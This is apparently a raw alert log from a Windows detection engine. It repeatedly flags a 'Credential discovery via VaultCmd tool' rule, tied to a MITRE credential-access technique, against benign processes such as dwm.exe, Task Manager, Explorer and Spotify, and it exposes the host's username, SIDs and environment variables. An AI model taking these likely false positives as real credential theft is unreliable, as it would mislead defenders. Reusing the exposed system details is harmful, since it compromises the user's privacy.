https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4207032 + Pid: 15304 + Tid: 10880 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:29.1416073 +0100 CET + Params: file_key➜ ffffa88aef87d000, offset➜ 0, pid➜ 15304, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 263f6590000, view_size➜ 33181696 + Metadata: tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager + + Pid: 15304 + Ppid: 8220 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4197933 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:27.4547595 +0100 CET + Params: file_key➜ ffffa88b086c8f90, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211387 + Pid: 8520 + Tid: 9312 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.5768522 +0100 CET + Params: file_key➜ ffffa88b35bb9af0, offset➜ 0, pid➜ 8520, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ e10000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 8520 + Ppid: 8484 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8520_1262719628:1 EFC_8520_1592913036:1 EFC_8520_2283032206:1 EFC_8520_2775293581:1 EFC_8520_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4211399 + Pid: 7264 + Tid: 9256 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:34.5786298 +0100 CET + Params: file_key➜ ffffa88afe29aba0, offset➜ 0, pid➜ 7264, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 25d84fa0000, view_size➜ 53248 + Metadata: tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 7264 + Ppid: 8520 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7264_QRKAFVYRFLCNWNKV COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8520_1262719628:1 EFC_8520_1592913036:1 EFC_8520_2283032206:1 EFC_8520_2775293581:1 EFC_8520_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555 + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:46:28.1052789 +0100 CET + Params: file_key➜ ffffa88afe25c590, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132740000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:47:10+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 4201566 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + 